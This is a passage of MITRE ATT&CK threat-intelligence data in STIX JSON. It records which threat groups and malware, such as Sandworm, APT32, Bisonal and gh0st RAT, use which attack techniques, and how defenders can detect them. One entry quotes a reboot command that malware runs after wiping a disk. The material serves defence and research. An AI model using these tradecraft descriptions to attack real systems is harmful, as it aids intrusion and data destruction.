"id": "relationship--62e35388-0f7d-4434-af87-6f6c09a1a12b", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Unit 42 Bisonal July 2018", "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/"}, {"source_name": "Talos Bisonal Mar 2020", "description": "Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022.", "url": "https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-11T02:53:57.006Z", "description": "[Bisonal](https://attack.mitre.org/software/S0268)'s DLL file and non-malicious decoy file are encrypted with RC4 and some function name strings are obfuscated.(Citation: Unit 42 Bisonal July 2018)(Citation: Talos Bisonal Mar 2020)", "relationship_type": "uses", "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--62ed20e9-07e5-4e22-a8dd-b93ab89706e3", "created": "2023-09-27T14:39:00.801Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Booz Allen Hamilton", "description": "Booz Allen Hamilton   When The Lights Went Out Retrieved. 2019/10/22 ", "url": "https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-27T15:21:58.895Z", "description": "During the [2015 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0028), [Sandworm Team](https://attack.mitre.org/groups/G0034) installed a modified Dropbear SSH client as the backdoor to target systems. (Citation: Booz Allen Hamilton)", "relationship_type": "uses", "source_ref": "campaign--46421788-b6e1-4256-b351-f8beffd1afba", "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--62eee3f5-f7ab-4029-a690-635452f1def7", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Linfo May 2012", "description": "Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.", "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99"}], "modified": "2020-03-20T02:11:07.233Z", "description": "[Linfo](https://attack.mitre.org/software/S0211) creates a backdoor through which remote attackers can delete files.(Citation: Symantec Linfo May 2012)", "relationship_type": "uses", "source_ref": "malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--62f16083-efca-477c-8107-e208ca4c75cb", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html", "description": "valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017.", "source_name": "aptsim"}], "modified": "2019-04-29T18:01:20.628Z", "description": "[APT3](https://attack.mitre.org/groups/G0022) has been known to add created accounts to local admin groups to maintain elevated access.(Citation: aptsim)", "relationship_type": "uses", "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--62f2c1a6-3019-44a0-a750-794677ddabd0", "created": "2020-11-25T22:46:47.712Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Dragos Crashoverride 2018", "url": "https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf", "description": "Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020."}, {"source_name": "US District Court Indictment GRU Unit 74455 October 2020", "url": "https://www.justice.gov/opa/press-release/file/1328521/download", "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has enumerated files on a compromised host.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: Dragos Crashoverride 2018)", "modified": "2022-06-30T20:19:13.571Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--62f3aaef-917b-42fa-9fe9-e21f674caa90", "created": "2022-01-12T14:32:08.170Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Novetta Winnti April 2015", "description": "Novetta Threat Research Group. (2015, April 7). Winnti Analysis. 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Retrieved November 24, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Koadic](https://attack.mitre.org/software/S0250) has used PowerShell to establish persistence.(Citation: MalwareBytes LazyScripter Feb 2021) ", "modified": "2022-04-06T19:27:41.746Z", "relationship_type": "uses", "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--63603405-b343-4e11-9ae0-3ece75611894", "type": "relationship", "created": "2022-03-15T19:56:31.111Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "KISA Operation Muzabi", "url": "https://www.boho.or.kr/krcert/publicationView.do?bulletin_writing_sequence=35936", "description": "KISA. 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Retrieved March 7, 2022."}], "modified": "2022-03-15T19:56:31.111Z", "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has collected victim organization information including but not limited to organization hierarchy, functions, press releases, and others.(Citation: KISA Operation Muzabi)", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--937e4772-8441-4e4a-8bf0-8d447d667e23", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--636889e5-e2e8-4bfe-9c9d-1cd7caef9f73", "type": "relationship", "created": "2022-03-30T14:26:51.865Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.865Z", "description": "Monitor executed commands and arguments that may take control of preexisting sessions with remote services to move laterally in an environment.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--636b7901-4dbf-4696-b75c-30a9df2818ef", "type": "relationship", "created": "2022-03-30T14:26:51.869Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.869Z", "description": "Monitor for the execution of commands and arguments that can be used for adversaries to modify services' registry keys and values through applications such as Windows Management Instrumentation and PowerShell. Additional logging may need to be configured to gather the appropriate data.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--636be06a-5c19-45c8-b6be-c38634c583dc", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Kazuar May 2017", "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"}], "modified": "2019-04-24T15:26:03.780Z", "description": "[Kazuar](https://attack.mitre.org/software/S0265) finds a specified directory, lists the files and metadata about those files.(Citation: Unit 42 Kazuar May 2017)", "relationship_type": "uses", "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--636c3816-21ed-46f7-8837-2334bed88e42", "type": "relationship", "created": "2020-05-06T19:32:14.855Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT HOTCROISSANT February 2020", "url": "https://www.us-cert.gov/ncas/analysis-reports/ar20-045d", "description": "US-CERT. (2020, February 20). MAR-10271944-1.v1 \u2013 North Korean Trojan: HOTCROISSANT. Retrieved May 1, 2020."}], "modified": "2020-05-06T19:32:14.855Z", "description": "(Citation: US-CERT HOTCROISSANT February 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "target_ref": "malware--aad11e34-02ca-4220-91cd-2ed420af4db3", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--636ec213-31ce-4e0a-863c-8add1cae68c3", "type": "relationship", "created": "2020-02-19T18:54:47.777Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-19T18:54:47.777Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0", "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6370e4b2-a26e-489f-a444-3d32991c0783", "created": "2024-02-12T19:26:34.498Z", "revoked": false, "external_references": [{"source_name": "Mandiant Pulse Secure Update May 2021", "description": "Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.", "url": "https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-12T19:26:34.498Z", "description": "[APT5](https://attack.mitre.org/groups/G1023) has accessed Microsoft M365 cloud environments using stolen credentials. (Citation: Mandiant Pulse Secure Update May 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9", "target_ref": "attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--63738109-c04a-4af9-a671-636c493d7a21", "type": "relationship", "created": "2020-08-17T14:08:26.114Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/", "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", "source_name": "ESET InvisiMole June 2018"}], "modified": "2020-08-17T14:08:26.114Z", "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can collect data from the system, and can monitor changes in specified directories.(Citation: ESET InvisiMole June 2018)", "relationship_type": "uses", "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--63759a0f-39e8-4d94-ab20-3bdba67ca502", "type": "relationship", "created": "2021-12-06T19:48:35.264Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT TA18-074A", "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"}], "modified": "2021-12-06T20:45:13.823Z", "description": "[Dragonfly](https://attack.mitre.org/groups/G0035) has dropped and executed SecretsDump to dump password hashes.(Citation: US-CERT TA18-074A)", "relationship_type": "uses", "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1", "target_ref": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--63759ea4-5bf1-408d-a1cc-e7f52e3aca1b", "type": "relationship", "created": "2019-10-04T22:07:45.879Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Group123", "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html"}], "modified": "2019-10-04T22:07:45.879Z", "description": "[APT37](https://attack.mitre.org/groups/G0067) has used malware that will issue the command <code>shutdown /r /t 1</code> to reboot a system after wiping its MBR.(Citation: Talos Group123)", "relationship_type": "uses", "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", "target_ref": "attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6376c6be-5ec7-4775-8984-13a1474dc92d", "type": "relationship", "created": "2020-05-06T21:01:23.429Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Attor Oct 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf", "description": "Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}], "modified": "2020-05-06T21:01:23.429Z", "description": "[Attor](https://attack.mitre.org/software/S0438) has staged collected data in a central upload directory prior to exfiltration.(Citation: ESET Attor Oct 2019)", "relationship_type": "uses", "source_ref": "malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--63835d80-f52b-472c-a605-b0360eea3539", "type": "relationship", "created": "2019-01-31T01:07:58.714Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt", "source_name": "Cybereason Oceanlotus May 2017"}, {"url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf", "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", "source_name": "Cybereason Cobalt Kitty 2017"}], "modified": "2020-03-19T22:10:50.772Z", "description": "[APT32](https://attack.mitre.org/groups/G0050) used Mimikatz and customized versions of Windows Credential Dumper to harvest credentials.(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--63841959-afe2-4cb0-a93e-d407eb1b8d66", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "XAgentOSX 2017", "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.", "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/"}, {"url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", "source_name": "Sofacy Komplex Trojan"}, {"source_name": "Secureworks IRON TWILIGHT Active Measures March 2017", "url": "https://www.secureworks.com/research/iron-twilight-supports-active-measures", "description": "Secureworks CTU. (2017, March 30). IRON TWILIGHT Supports Active Measures. Retrieved February 28, 2022."}], "modified": "2022-02-28T16:30:02.467Z", "description": "(Citation: XAgentOSX 2017)(Citation: Sofacy Komplex Trojan)(Citation: Secureworks IRON TWILIGHT Active Measures March 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "malware--f108215f-3487-489d-be8b-80e346d32518", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6385d0af-765c-44f9-afab-ed3852f6a22f", "type": "relationship", "created": "2021-12-06T20:36:44.008Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT TA18-074A", "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. 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(2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020."}], "modified": "2020-11-19T21:05:19.165Z", "description": "[BloodHound](https://attack.mitre.org/software/S0521) can identify users with local administrator rights.(Citation: CrowdStrike BloodHound April 2018)", "relationship_type": "uses", "source_ref": "tool--066b057c-944e-4cfc-b654-e3dfba04b926", "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--638b21af-b5d5-44dd-9d14-ea3c2be3eb4e", "type": "relationship", "created": "2022-02-02T21:05:49.133Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Threatpost Lizar May 2021", "url": "https://threatpost.com/fin7-backdoor-ethical-hacking-tool/166194/", "description": "Seals, T. (2021, May 14). FIN7 Backdoor Masquerades as Ethical Hacking Tool. Retrieved February 2, 2022."}, {"source_name": "BiZone Lizar May 2021", "url": "https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319", "description": "BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker\u2019s toolkit. Retrieved February 2, 2022."}], "modified": "2022-02-07T16:07:50.234Z", "description": "[Lizar](https://attack.mitre.org/software/S0681) can take JPEG screenshots of an infected system.(Citation: Threatpost Lizar May 2021)(Citation: BiZone Lizar May 2021) ", "relationship_type": "uses", "source_ref": "malware--f74a5069-015d-4404-83ad-5ca01056c0dc", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6390419e-ebaa-4556-ae74-c92dc041eb47", "type": "relationship", "created": "2020-07-17T19:22:28.403Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET InvisiMole June 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}], "modified": "2020-07-17T19:22:28.403Z", "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can create hidden system directories.(Citation: ESET InvisiMole June 2020)", "relationship_type": "uses", "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--63920a70-160d-46b3-a55f-05e8d7d30ba1", "created": "2019-06-14T16:51:02.178Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "PWC KeyBoys Feb 2017", "description": "Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019.", "url": "https://web.archive.org/web/20211129064701/https://www.pwc.co.uk/issues/cyber-security-services/research/the-keyboys-are-back-in-town.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-23T15:22:36.387Z", "description": "[KeyBoy](https://attack.mitre.org/software/S0387) uses custom SSL libraries to impersonate SSL in C2 traffic.(Citation: PWC KeyBoys Feb 2017)", "relationship_type": "uses", "source_ref": "malware--5dd649c0-bca4-488b-bd85-b180474ec62e", "target_ref": "attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6397a3a8-68bb-46bd-b5b8-f0ed56783e56", "type": "relationship", "created": "2022-03-30T14:26:51.863Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.863Z", "description": "Monitor for changes made to processes that may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges.", "source_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96", "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6397d645-207c-4d1b-9a65-5f1b69a84e7c", "type": "relationship", "created": "2020-07-24T13:48:49.763Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Gh0stRAT ATT March 2019", "url": "https://cybersecurity.att.com/blogs/labs-research/the-odd-case-of-a-gh0strat-variant", "description": "Quinn, J. (2019, March 25). The odd case of a Gh0stRAT variant. Retrieved July 15, 2020."}], "modified": "2020-07-24T13:48:49.763Z", "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) can execute its service if the Service key exists. If the key does not exist, [gh0st RAT](https://attack.mitre.org/software/S0032) will create and run the service.(Citation: Gh0stRAT ATT March 2019)", "relationship_type": "uses", "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--63994c7c-6544-4e29-9c94-ac2237166774", "type": "relationship", "created": "2019-01-31T01:07:58.546Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf", "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", "source_name": "Cybereason Cobalt Kitty 2017"}], "modified": "2019-07-17T13:11:38.709Z", "description": "[APT32](https://attack.mitre.org/groups/G0050) performed network scanning on the network to search for open ports, services, OS finger-printing, and other vulnerabilities.(Citation: Cybereason Cobalt Kitty 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--639a960d-8cc1-4f6f-aca1-cf3c6445d056", "type": "relationship", "created": "2021-07-16T19:32:57.758Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Group IB GrimAgent July 2021", "url": "https://gibnc.group-ib.com/s/Group-IB_GrimAgent_analysis#pdfviewer", "description": "Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved July 16, 2021."}], "modified": "2021-07-16T19:32:57.758Z", "description": "[GrimAgent](https://attack.mitre.org/software/S0632) can use an AES key to encrypt C2 communications.(Citation: Group IB GrimAgent July 2021)", "relationship_type": "uses", "source_ref": "malware--c9b99d03-ff11-4a48-95f0-82660d582c25", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": 